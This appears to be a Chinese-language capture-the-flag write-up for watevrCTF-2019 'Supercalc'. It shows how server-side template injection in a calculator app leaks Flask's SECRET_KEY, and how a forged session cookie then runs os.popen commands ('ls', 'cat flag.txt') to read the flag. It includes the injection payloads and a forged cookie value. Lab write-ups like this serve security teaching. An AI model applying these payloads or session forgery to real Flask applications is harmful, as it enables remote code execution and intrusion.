[watevrCTF-2019]Supercalc
打开页面,我们发现一个计算框
我们输入1+1,返回了2
这种情况我们想到ssti模版注入
我们输入49
结果发生报错
提示我们不能输入{}
我们继续查找,在cookie里发现session,看结构和开头,应该是flask框架的,我们进行解密
1 | {'history': [{'code': '1 + 1'}]} |
其解密后的值为之前提交的算式,猜测code
中的式子可被执行
我们尝试让程序进行报错
在输入1/0
时,得到报错:
说明程序对报错应该没有做过滤,尝试输入#(注释)
:1/0#1+1
:
得到报错,式子拼接成功
得到报错,式子被成功拼接,在#
注释后加上模版语法:
1 | 1/0#{{7*7}} |
我们尝试进行模版注入
1 | 1/0#{{“”.__class__}} |
又报错了,长度进行了限制
我们只能伪造session了,看看是否能爆出SECRET_KEY
的值,查看config
1 | 1/0#{{config}} |
成功找到SECRET_KEY,满足了加密session的条件
构造本题所需的session
:
1 | {'history': [{'code': '__import__(\"os\").popen(\"ls \").read()'}]} |
注
:需要将其中的"
双引号进行转译
我们进行session加密
成功伪造session
1 | eyJoaXN0b3J5IjpbeyJjb2RlIjoiX19pbXBvcnRfXyhcIiBvc1xcKS5wb3BlbihcXGxzXFwpLnJlYWQoKSJ9XX0.ZvVqlg.3-2P1K8I7k9ZeL5vzceo8wQX1Cg |
我们填入session进行刷新
找到flag文件,我们打开它
1 | {'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]} |
重复以上操作得到flag